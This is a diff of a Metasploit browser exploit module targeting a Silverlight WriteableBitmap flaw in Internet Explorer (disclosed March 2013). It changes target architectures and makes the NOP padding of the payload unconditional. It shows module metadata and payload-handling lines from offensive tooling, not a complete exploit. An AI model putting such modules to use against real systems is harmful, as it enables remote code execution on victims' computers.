@@ -28,7 +28,7 @@ def initialize(info={})
28
28
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
29
29
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
30
30
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
31
- SP3 / Windows 7 SP1 on both x32 and x64 architectures .
31
+ SP3 / Windows 7 SP1.
32
32
} ,
33
33
'License' => MSF_LICENSE ,
34
34
'Author' =>
@@ -55,7 +55,7 @@ def initialize(info={})
55
55
'EXITFUNC' => 'thread'
56
56
} ,
57
57
'Platform' => 'win' ,
58
- 'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
58
+ 'Arch' => ARCH_X86 ,
59
59
'BrowserRequirements' =>
60
60
{
61
61
:source => /script|headers/i ,
@@ -65,16 +65,7 @@ def initialize(info={})
65
65
} ,
66
66
'Targets' =>
67
67
[
68
- [ 'Windows x86' ,
69
- {
70
- 'arch' => ARCH_X86
71
- }
72
- ] ,
73
- [ 'Windows x64' ,
74
- {
75
- 'arch' => ARCH_X86_64
76
- }
77
- ]
68
+ [ 'Windows x86/x64' , { } ]
78
69
] ,
79
70
'Privileged' => false ,
80
71
'DisclosureDate' => "Mar 12 2013" ,
@@ -96,10 +87,8 @@ def exploit_template(cli, target_info)
96
87
my_payload = get_payload ( cli , target_info )
97
88
98
89
# Align to 4 bytes the x86 payload
99
- if target_info [ :arch ] == ARCH_X86
100
- while my_payload . length % 4 != 0
101
- my_payload = "\x90 " + my_payload
102
- end
90
+ while my_payload . length % 4 != 0
91
+ my_payload = "\x90 " + my_payload
103
92
end
104
93
105
94
my_payload = Rex ::Text . encode_base64 ( my_payload )
0 commit comments